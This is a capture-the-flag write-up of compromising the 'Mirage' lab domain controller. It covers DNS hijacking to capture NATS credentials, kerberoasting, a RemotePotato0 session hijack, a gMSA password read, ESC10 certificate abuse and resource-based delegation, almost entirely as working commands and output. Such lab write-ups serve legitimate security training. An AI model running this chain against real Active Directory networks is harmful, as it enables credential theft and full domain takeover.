by 0xW1LD
![]()
As usual we start off with a port scan on our target.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
111/tcp open rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
2049/tcp open nfs
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
4222/tcp open vrml-multi-use
5985/tcp open wsman
9389/tcp open adws
28273/tcp filtered unknown
29148/tcp filtered unknown
44682/tcp filtered unknown
47001/tcp open winrm
48001/tcp filtered nimspooler
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
51864/tcp open unknown
54678/tcp filtered unknown
57730/tcp open unknown
57737/tcp open unknown
57738/tcp open unknown
57753/tcp open unknown
62330/tcp filtered unknown
62479/tcp open unknown
62491/tcp open unknown
62503/tcp open unknown
64065/tcp filtered unknown
Several ports look interesting at first glance.
2049 - nfs4222 - Usually VRML in this case it’s NATSIf we do a script and service scan on these ports we can find a lot of information.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Issuer: commonName=mirage-DC01-CA/domainComponent=mirage
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-07-04T19:58:41
| Not valid after: 2105-07-04T19:58:41
| MD5: da96:ee88:7537:0dcf:1bd4:4aa3:2104:5393
| SHA-1: c25a:58cc:950f:ce6e:64c7:cd40:e98e:bb5a:653f:b9ff
2049/tcp open nlockmgr syn-ack ttl 127 1-4 (RPC #100021)
4222/tcp open vrml-multi-use? syn-ack ttl 127
| fingerprint-strings:
| GenericLines:
| INFO {"server_id":"NCKL7L5SAJBY6GQBJI7KSKQFOGBAXFGUYFC4X3V2A7X54YFWXPIWNMBK","server_name":"NCKL7L5SAJBY6GQBJI7KSKQFOGBAXFGUYFC4X3V2A7X54YFWXPIWNMBK","version":"2.11.3","proto":1,"git_commit":"a82cfda","g
o":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":177,"client_ip":"10.10.14.158","xkey":"XDYIWPQGWEBBTECUEBE3P5ZSWGEXTCHNEDVBTFX32
O5A7KI7DG6QTYFT"}
| -ERR 'Authorization Violation'
We’re given the following information.
DOMAIN - mirage.htbDC - DC01.mirage.htbCA - mirage-dc01-caLet’s first take a look at nfs shares.
1
2
3
showmount -e $DOMAIN
Export list for mirage.htb:
/MirageReports (everyone)
We can see a MirageReports share available for everyone. Let’s mount it and take a look inside.
1
2
3
4
5
6
7
8
sudo mkdir /mnt/mirage
sudo mount -t nfs $DOMAIN:/MirageReports /mnt/mirage
ls -la /mnt/mirage
total 17493
drwxrwxrwx+ 2 nobody nogroup 64 May 26 17:41 .
drwxr-xr-x 4 root root 4096 Jul 19 20:46 ..
-rwx------+ 1 nobody nogroup 8530639 May 20 11:08 Incident_Report_Missing_DNS_Record_nats-svc.pdf
-rwx------+ 1 nobody nogroup 9373389 May 26 17:37 Mirage_Authentication_Hardening_Report.pdf
We can find 2 pdf files, one incident report and another hardening report. Let’s copy them to our local system and change the permissions.
1
2
3
4
5
6
7
8
sudo cp /mnt/mirage/* .
sudo chmod 777 *
ls -la
total 17500
drwxrwxr-x 3 kali kali 4096 Jul 19 20:50 .
drwxrwxr-x 17 kali kali 4096 Jul 19 20:35 ..
-rwxrwxrwx 1 root root 8530639 Jul 19 20:50 Incident_Report_Missing_DNS_Record_nats-svc.pdf
-rwxrwxrwx 1 root root 9373389 Jul 19 20:51 Mirage_Authentication_Hardening_Report.pdf
Let’s first take a look at the Incident Report Missing DNS Record nats-svc
On May 3, 2025, the Development team repoted they were unable to resolve the hostname nats-svc.mirage.htb. This hostname is citical for intenal sevice communication with the NATS messaging system hosted on the Mirage domain.
Another interesting finding in this report is that Dynamic Updates for the mirage.htb zone is set to Nonsecure and secure which means that we should be able to make dns changes without any authentication.
Next let’s take a look at Mirage Authentication Hardening Report
This report outlines the phased deprecation of NTLM authentication within the Mirage Active Directoy environment. NTLM is a legacy authentication protocol that lacks moden secuity features and is vulnerable to several attacks, including credential relaying and pass-the-hash. To align with curent secuity best practices, Mirage is moving toward a Kerberos-only authentication model. The transition is designed to be gradual and well-monitored to avoid sevice disuption and ensure all systems are compliant.
So here I’m thinking we can run a nats server and then add our record to the nats-server.
1
2
echo 'INFO {"server_id":"NCKL7L5SAJBY6GQBJI7KSKQFOGBAXFGUYFC4X3V2A7X54YFWXPIWNMBK","server_name":"NCKL7L5SAJBY6GQBJI7KSKQFOGBAXFGUYFC4X3V2A7X54YFWXPIWNMBK","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":280,"client_ip":"10.129.14.92","xkey":"XDYIWPQGWEBBTECUEBE3P5ZSWGEXTCHNEDVBTFX32O5A7KI7DG6QTYFT"}' | nc -lvnp 4222
listening on [any] 4222 ...
I wasn’t able to get a call back on
nats-serverbut I was able to when I impersonated anats-serverusingncwhich is what I’m doing here.
Next let’s add a record for nats-svc.mirage.htb that points to our nats-server.
1
2
3
4
5
6
nsupdate
> server mirage.htb
> zone mirage.htb
> update add nats-svc.mirage.htb 3600 A 10.10.14.158
> send
> quit
Later on we get a callback on our nats-server impersonation instance.
1
2
CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"[REDACTED]","tls_required":false,"name":"NATS CLI Version 0.2.2","lang":"go","version":"1.41.1","protocol":1,"echo":true,"headers":true,"no_responders":true}
PING
We get a set of credentials!
Dev_Account_A:[REDACTED]
Attempting to use these against the AD environment doesn’t grant authentication. Since these were credentials we got from nats let’s try and authenticate through that. NATSCLI
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
nats account info -s nats://$TARGET:4222 --user $USER --password $PASS
Account Information
User: Dev_Account_A
Account: dev
Expires: never
Client ID: 304
Client IP: 10.10.14.158
RTT: 290ms
Headers Supported: true
Maximum Payload: 1.0 MiB
Connected URL: nats://10.129.14.92:4222
Connected Address: 10.129.14.92:4222
Connected Server ID: NCKL7L5SAJBY6GQBJI7KSKQFOGBAXFGUYFC4X3V2A7X54YFWXPIWNMBK
Connected Server Version: 2.11.3
TLS Connection: no
JetStream Account Information:
Account Usage:
Storage: 570 B
Memory: 0 B
Streams: 1
Consumers: 0
Account Limits:
Max Message Payload: 1.0 MiB
Tier: Default:
Configuration Requirements:
Stream Requires Max Bytes Set: false
Consumer Maximum Ack Pending: Unlimited
Stream Resource Usage Limits:
Memory: 0 B of Unlimited
Memory Per Stream: Unlimited
Storage: 570 B of Unlimited (1.0 MiB reserved)
Storage Per Stream: Unlimited
Streams: 1 of Unlimited
Consumers: 0 of Unlimited
Let’s take a look at our streams.
1
2
3
4
5
6
7
8
nats stream ls -s nats://$TARGET:4222 --user $USER --password $PASS
╭─────────────────────────────────────────────────────────────────────────────────╮
│ Streams │
├───────────┬─────────────┬─────────────────────┬──────────┬───────┬──────────────┤
│ Name │ Description │ Created │ Messages │ Size │ Last Message │
├───────────┼─────────────┼─────────────────────┼──────────┼───────┼──────────────┤
│ auth_logs │ │ 2025-05-05 03:18:19 │ 5 │ 570 B │ 75d1h57m50s │
╰───────────┴─────────────┴─────────────────────┴──────────┴───────┴──────────────
Looks like we have a stream of auth_logs which is very interesting. Let’s create a consumer for this.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
nats consumer add -s nats://$TARGET:4222 --user $USER --password $PASS
? Select a Stream auth_logs
? Consumer name w1ld
? Delivery target (empty for Pull Consumers)
? Start policy (all, new, last, subject, 1h, msg sequence) all
? Acknowledgment policy none
? Replay policy instant
? Filter Stream by subjects (blank for all)
? Deliver headers only without bodies No
Information for Consumer auth_logs > w1ld created 2025-07-19 05:18:55
Configuration:
Name: w1ld
Pull Mode: true
Deliver Policy: All
Ack Policy: None
Replay Policy: Instant
Max Waiting Pulls: 512
State:
Host Version: 2.11.3
Required API Level: 0 hosted at level 1
Last Delivered Message: Consumer sequence: 0 Stream sequence: 0
Unprocessed Messages: 5
Waiting Pulls: 0 of maximum 512
Now let’s connect to this consumer and look at the next message.
1
2
3
4
5
6
nats consumer next auth_logs w1ld -s nats://$TARGET:4222 --user $USER --password $PASS
[22:20:04] subj: logs.auth / tries: 1 / cons seq: 1 / str seq: 1 / pending: 4
{"user":"david.jjackson","password":"[REDACTED]","ip":"10.10.10.20"}
Acknowledged message
Success! We have a new set of credentials!
david.jjackson:[REDACTED]
A simpler method exists which @opcode pointed out to me, instead of creating a
consumerfor the stream you can simplyview the streamusing the following command:nats stream view -s nats://$TARGET:4222 --user $USER --password $PASS
Let’s check if we’re able to authenticate to AD through ldap.
1
2
3
nxc ldap $DC -u $USER -p $PASS -k
LDAP dc01.mirage.htb 389 DC01 [*] None (name:DC01) (domain:mirage.htb)
LDAP dc01.mirage.htb 389 DC01 [+] mirage.htb\david.jjackson:[REDACTED]
Success! We have a foothold authentication into the domain!
Let’s create a path forward. I first want to set Remote Management Users as our target as it allows us a shell on the box. Let’s start enumeration. Let’s look at members of the group.
1
2
3
4
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k get object "Remote Management Users" --attr member
distinguishedName: CN=Remote Management Users,CN=Builtin,DC=mirage,DC=htb
member: CN=IT_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb
Seeing as it’s another group let’s take a look at its members as well.
1
2
3
4
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k get object "IT_Admins" --attr member
distinguishedName: CN=IT_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb
member: CN=nathan.aadam,OU=Users,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb
Our target is nathan.aadam. Taking a deep look at the object we can find that he has a servicePrincipalName
1
2
3
4
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k get object "nathan.aadam" --resolve-sd
<SNIP>
servicePrincipalName: HTTP/exchange.mirage.htb
</SNIP>
Let’s attempt to kerberoast him since this is the case.
1
2
3
4
5
6
7
nxc ldap $DC -u $USER -p $PASS -k --kerberoasting kerberoast.txt
LDAP dc01.mirage.htb 389 DC01 [*] None (name:DC01) (domain:mirage.htb)
LDAP dc01.mirage.htb 389 DC01 [+] mirage.htb\david.jjackson:[REDACTED]
LDAP dc01.mirage.htb 389 DC01 [*] Skipping disabled account: krbtgt
LDAP dc01.mirage.htb 389 DC01 [*] Total of records returned 1
LDAP dc01.mirage.htb 389 DC01 [*] sAMAccountName: nathan.aadam, memberOf: ['CN=Exchange_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb', 'CN=IT_Admins,OU=Groups,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb'], pwdLastSet: 2025-06-23 17:18:18.584667, lastLogon: 2025-07-04 16:01:43.511763
LDAP dc01.mirage.htb 389 DC01 $krb5tgs$23$*nathan.aadam$MIRAGE.HTB$mirage.htb\nathan.aadam*$52206e9ab6d4bac636f8bd27c7b2b00e$1bc264e3b05f420f453700a9f9661809e47b6cd261edf89b570b01384[REDACTED]
We got a hash! Let’s crack it with hashcat.
1
2
3
hashcat -a 0 kerberoast.txt /usr/share/wordlists/rockyou.txt
<SNIP>
$krb5tgs$23$*nathan.aadam$MIRAGE.HTB$mirage.htb\nathan.aadam*$52206e9ab6d4bac636f8bd27c7b2b00e$1bc264e3b05f420f453700a9f9661809e[REDACTED]:[REDACTED]
We got a hit! We have successfully retrieved another set of credentials!
nathan.aadam:[REDACTED]
Let’s authenticate via Kerberos and evil-winrm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
echo $PASS | kinit $USER
Password for nathan.aadam@MIRAGE.HTB:
evil-winrm -i $DC -r $DOMAIN
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\nathan.aadam\Documents>ls ../Desktop
Directory: C:\Users\nathan.aadam\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/4/2025 1:01 PM 2312 Microsoft Edge.lnk
-ar--- 7/18/2025 9:47 PM 34 user.txt
Just like that, we have User!
Taking a look around the registry we can find interesting values in WinLogon
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
*Evil-WinRM* PS C:\Users\nathan.aadam\Documents> Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
AutoRestartShell : 1
Background : 0 0 0
CachedLogonsCount : 10
DebugServerCommand : no
DefaultDomainName : MIRAGE
DefaultUserName : mark.bbond
DisableBackButton : 1
EnableSIHostIntegration : 1
ForceUnlockLogon : 0
LegalNoticeCaption :
LegalNoticeText :
PasswordExpiryWarning : 5
PowerdownAfterShutdown : 0
PreCreateKnownFolders : {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk : 1
Shell : explorer.exe
ShellAppRuntime : ShellAppRuntime.exe
ShellCritical : 0
ShellInfrastructure : sihost.exe
SiHostCritical : 0
SiHostReadyTimeOut : 0
SiHostRestartCountLimit : 0
SiHostRestartTimeGap : 0
Userinit : C:\Windows\system32\userinit.exe,
VMApplet : SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled : 0
scremoveoption : 0
DisableCAD : 1
LastLogOffEndTimePerfCounter : 1448474007
ShutdownFlags : 2147484203
DisableLockWorkstation : 0
AutoAdminLogon : 1
AutoLogonSID : S-1-5-21-2127163471-3824721834-2568365109-1109
LastUsedUsername : mark.bbond
DefaultPassword : [REDACTED]
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
PSChildName : Winlogon
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
The above method was patched on
31/07/2025and thus no longer shows theDefault Password Fieldas seen from the output below.
Patched output
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
AutoRestartShell : 1
Background : 0 0 0
CachedLogonsCount : 10
DebugServerCommand : no
DefaultDomainName : MIRAGE
DefaultUserName : mark.bbond
DisableBackButton : 1
EnableSIHostIntegration : 1
ForceUnlockLogon : 0
LegalNoticeCaption :
LegalNoticeText :
PasswordExpiryWarning : 5
PowerdownAfterShutdown : 0
PreCreateKnownFolders : {A520A1A4-1780-4FF6-BD18-167343C5AF16}
ReportBootOk : 1
Shell : explorer.exe
ShellAppRuntime : ShellAppRuntime.exe
ShellCritical : 0
ShellInfrastructure : sihost.exe
SiHostCritical : 0
SiHostReadyTimeOut : 0
SiHostRestartCountLimit : 0
SiHostRestartTimeGap : 0
Userinit : C:\Windows\system32\userinit.exe,
VMApplet : SystemPropertiesPerformance.exe /pagefile
WinStationsDisabled : 0
scremoveoption : 0
DisableCAD : 1
LastLogOffEndTimePerfCounter : 3422193643
ShutdownFlags : 19
DisableLockWorkstation : 0
AutoAdminLogon : 1
AutoLogonSID : S-1-5-21-2127163471-3824721834-2568365109-1109
LastUsedUsername : mark.bbond
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
PSChildName : Winlogon
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
The day after the box released and my team had solved it, one of the box creators revealed that the auto logon credentials were meant to be encrypted. This means that we were not meant to find them here. Instead the intended path is for us to find another active session and continue from there.
I will use
runasCS.exeas the commandqwinstarequiresNT AUTHORITY\INTERACTIVEpermissions and not justNT AUTHORITY\NETWORKwhich is what most shells provide, thank you @opcode again for providing me with this information and @mael91620 for showing me this method.
1
2
3
4
5
6
*Evil-WinRM* PS C:\w1ld> ./RunasCs.exe nathan.aadam [REDACTED] "qwinsta *"
[*] Warning: The logon for user 'nathan.aadam' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
SESSIONNAME USERNAME ID STATE TYPE DEVICE
>services 0 Disc
console mark.bbond 1 Active
We can find the active session of mark.bbond, let’s attempt to hijack this session by forcing an authentication through RemotePotato0. We can’t catch the authentication remotely due to NTLM being disabled so let’s do it locally.
RemotePotato0 is a local privilege escalation exploit that creates a COM object and requests a service/session to authenticate to it which allows us to redirect the authentication and view the NTLM hash through RPC relay.
Firstly let’s start a network redirector on our machine.
1
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:$TARGET:9999
Next, let’s run RoguePotato0 on the target machine using the session id we found and the Rpc Capture hash server module.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
*Evil-WinRM* PS C:\w1ld> .\RemotePotato0.exe -m 2 -s 1 -x 10.10.14.158
[*] Detected a Windows Server version not compatible with JuicyPotato. RogueOxidResolver must be run remotely. Remember to forward tcp port 135 on (null) to your victim machine on port 9999
[*] Example Network redirector:
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP::9999
[*] Starting the RPC server to capture the credentials hash from the user authentication!!
[*] RPC relay server listening on port 9997 ...
[*] Spawning COM object in the session: 1
[*] Calling StandardGetInstanceFromIStorage with CLSID:{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
[*] Starting RogueOxidResolver RPC Server listening on port 9999 ...
[*] IStoragetrigger written: 106 bytes
[*] ServerAlive2 RPC Call
[*] ResolveOxid2 RPC call
[+] Received the relayed authentication on the RPC relay server on port 9997
[*] Connected to RPC Server 127.0.0.1 on port 9999
[+] User hash stolen!
NTLMv2 Client : DC01
NTLMv2 Username : MIRAGE\mark.bbond
NTLMv2 Hash : mark.bbond::MIRAGE:0f425a4bb67be4b8:086071de03c563c27723c7a99bee2c15:010100[REDACTED]
Success we grabbed a hash! let’s toss this into hashcat!
1
2
3
hashcat -a 0 mark.pem /usr/share/wordlists/rockyou.txt
<SNIP>
MARK.BBOND::MIRAGE:0f425a4bb67be4b8:086071de03c563c27723c7a99bee2c15:01010[REDACTED]:[REDACTED]
We can see that we have recovered the following credentials for both methods.
mark.bbond:[REDACTED]
Success! We’re able to authenticate as mark.bbond!
1
2
3
nxc smb $DC -u $USER -p $PASS -k
SMB DC01.mirage.htb 445 DC01 [*] x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB DC01.mirage.htb 445 DC01 [+] mirage.htb\mark.bbond:[REDACTED]
Taking a further look around we can see that we have WRITE access on javier.mmarshall,
1
2
3
4
5
6
7
8
9
10
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k get writable
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=mirage,DC=htb
permission: WRITE
distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
permission: WRITE
distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
permission: WRITE
Specifically, UAC
1
2
3
distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
logonHours: WRITE
userAccountControl: WRITE
We can see that javier.mmarshall’s UAC attribute is set so that his account is disabled.
1
2
3
4
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k get object "javier.mmarshall" --attr userAccountControl
distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
So let’s remove this property.
1
2
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k remove uac javier.mmarshall -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from javier.mmarshalls userAccountControl
We can also notice that logonHours are set so let’s remove them
1
2
3
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k set object "javier.mmarshall" logonHours
[!] Attribute encoding not supported for logonHours with bytes attribute type, using raw mode
[+] javier.mmarshalls logonHours has been updated
You’ll need the most up to date version of bloodyAD for this to work, to install the most up to date version use
pipx install bloodyAD
Let’s now change his password.
1
2
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k set password javier.mmarshall W1ldP@ss
[+] Password changed successfully!
Success! We’re able to authenticate as javier.mmarshall
1
2
3
nxc smb $DC -u $USER -p $PASS -k
SMB DC01.mirage.htb 445 DC01 [*] x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB DC01.mirage.htb 445 DC01 [+] mirage.htb\javier.mmarshall:W1ldP@ss
Taking a look around we can find the MIRAGE-SERVICE$ computer
1
2
3
4
5
6
nxc ldap $DC -u $USER -p $PASS -k --computers
LDAP DC01.mirage.htb 389 DC01 [*] None (name:DC01) (domain:mirage.htb)
LDAP DC01.mirage.htb 389 DC01 [+] mirage.htb\mark.bbond:[REDACTED]
LDAP DC01.mirage.htb 389 DC01 [*] Total records returned: 2
LDAP DC01.mirage.htb 389 DC01 DC01$
LDAP DC01.mirage.htb 389 DC01 Mirage-Service$
If we take a look at it we can see that Javier.mmarshall can read its GMSA
1
2
3
4
5
6
7
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k get object "Mirage-Service$"
<SNIP>
msDS-GroupMSAMembership.ACL.Type: == ALLOWED ==
msDS-GroupMSAMembership.ACL.Trustee: javier.mmarshall
msDS-GroupMSAMembership.ACL.Right: GENERIC_ALL
msDS-GroupMSAMembership.ACL.ObjectType: Self
</SNIP>
Let’s read the GMSA password using Javier.mmarshall
1
2
3
4
5
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k get search --filter '(ObjectClass=msDS-GroupManagedServiceAccount)' --attr msDS-ManagedPassword
distinguishedName: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:[REDACTED]
msDS-ManagedPassword.B64ENCODED: 43A01mr7V2LGukxowctrHCsLubtNUHxw2zYf7l0REqmep3mfMpizCXlvhv0n8SFG/WKSApJsujGp2+unu/xA6F2fLD4H5Oji/mVHYkkf+iwXjf6Z9TbzVkLGELgt/k2PI4rIz600cfYmFq99AN8ZJ9VZQEqRcmQoaRqi51nSfaNRuOVR79CGl/QQcOJv8eV11UgfjwPtx3lHp1cXHIy4UBQu9O0O5W0Qft82GuB3/M7dTM/YiOxkObGdzWweR2k/J+xvj8dsio9QfPb9QxOE18n/ssnlSxEI8BhE7fBliyLGN7x/pw7lqD/dJNzJqZEmBLLVRUbhprzmG29yNSSjog==
Success! We have recovered another set of credentials
Mirage-Service:[REDACTED]
Looking around we have write access on mark.bbond, which doesn’t really matter as we have already owned him but it does serve as a hint.
1
2
3
4
5
6
7
8
9
10
11
12
13
bloodyAD --host $DC --dc-ip $TARGET -d $DOMAIN -u $USER -k get writable
distinguishedName: CN=TPM Devices,DC=mirage,DC=htb
permission: CREATE_CHILD
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=mirage,DC=htb
permission: WRITE
distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
permission: WRITE
distinguishedName: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
permission: WRITE
Doing some enumeration for ESC vulnerabilities, we can find that ADCS is vulnerable to ESC10
1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\Users\nathan.aadam\Documents> Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\"
EventLogging : 1
CertificateMappingMethods : 4
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders
PSChildName : SCHANNEL
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
Notice the 4 value in the CertificateMappingMethods property which indicates it is vulnerable as per CERTIPY-AD Documentation
Let’s exploit this, first let’s update Mark.bbond’s upn.
1
2
3
4
5
6
certipy-ad account -u $USER@$DOMAIN -hashes $HASH -k -target $DC -dc-ip $TARGET -upn 'dc01$@mirage.htb' -user mark.bbond update
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Updating user 'mark.bbond':
userPrincipalName : dc01$@mirage.htb
[*] Successfully updated 'mark.bbond'
Secondly let’s authenticate as mark.bbond and request a certificate.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
echo $PASS | kinit $USER
Password for mark.bbond@MIRAGE.HTB:
export KRB5CCNAME=/tmp/krb5cc_1000
certipy-ad req -k -dc-ip $TARGET -target $DC -ca "Mirage-DC01-CA" -template User
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Requesting certificate via RPC
[*] Request ID is 14
[*] Successfully requested certificate
[*] Got certificate with UPN 'dc01$@mirage.htb'
[*] Certificate object SID is 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Saving certificate and private key to 'dc01.pfx'
[*] Wrote certificate and private key to 'dc01.pfx
Now let’s revert mark’s UPN, remember to authenticate as MIRAGE-SERVICE$ before doing so.
1
2
3
4
5
6
certipy-ad account -u $USER@$DOMAIN -hashes $HASH -k -target $DC -dc-ip $TARGET -upn 'mark.bbond@mirage.htb' -user mark.bbond update
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Updating user 'mark.bbond':
userPrincipalName : mark.bbond@mirage.htb
[*] Successfully updated 'mark.bbond'
Let’s authenticate as the DC and connect to an ldap shell
1
2
3
4
5
6
7
8
9
10
11
12
certipy-ad auth -pfx dc01.pfx -dc-ip $TARGET -ldap-shell
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'dc01$@mirage.htb'
[*] Security Extension SID: 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Connecting to 'ldaps://10.129.14.92:636'
[*] Authenticated to '10.129.14.92' as: 'u:MIRAGE\\DC01$'
Type help for list of commands
# whoami
u:MIRAGE\DC01$
Success! We have the DC01$ ldap access, let’s allow our machine account to RBCD
1
2
3
4
5
6
7
8
# set_rbcd dc01$ mirage-service$
Found Target DN: CN=DC01,OU=Domain Controllers,DC=mirage,DC=htb
Target SID: S-1-5-21-2127163471-3824721834-2568365109-1000
Found Grantee DN: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
Grantee SID: S-1-5-21-2127163471-3824721834-2568365109-1112
Delegation rights modified successfully!
mirage-service$ can now impersonate users on dc01$ via S4U2Proxy
Let’s grab a new TGT
1
2
3
4
5
6
getTGT.py "$DOMAIN/$USER" -hashes :$HASH
/home/kali/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in Mirage-Service.ccache
Now let’s grab a Service Ticket
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
getST.py -spn HOST/'dc01.mirage.htb' -impersonate 'dc01$' -k -no-pass $DOMAIN/$USER
/home/kali/.local/share/uv/tools/impacket/lib/python3.13/site-packages/impacket/version.py:12: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating dc01$
/home/kali/.local/bin/getST.py:380: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow()
/home/kali/.local/bin/getST.py:477: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[*] Requesting S4U2self
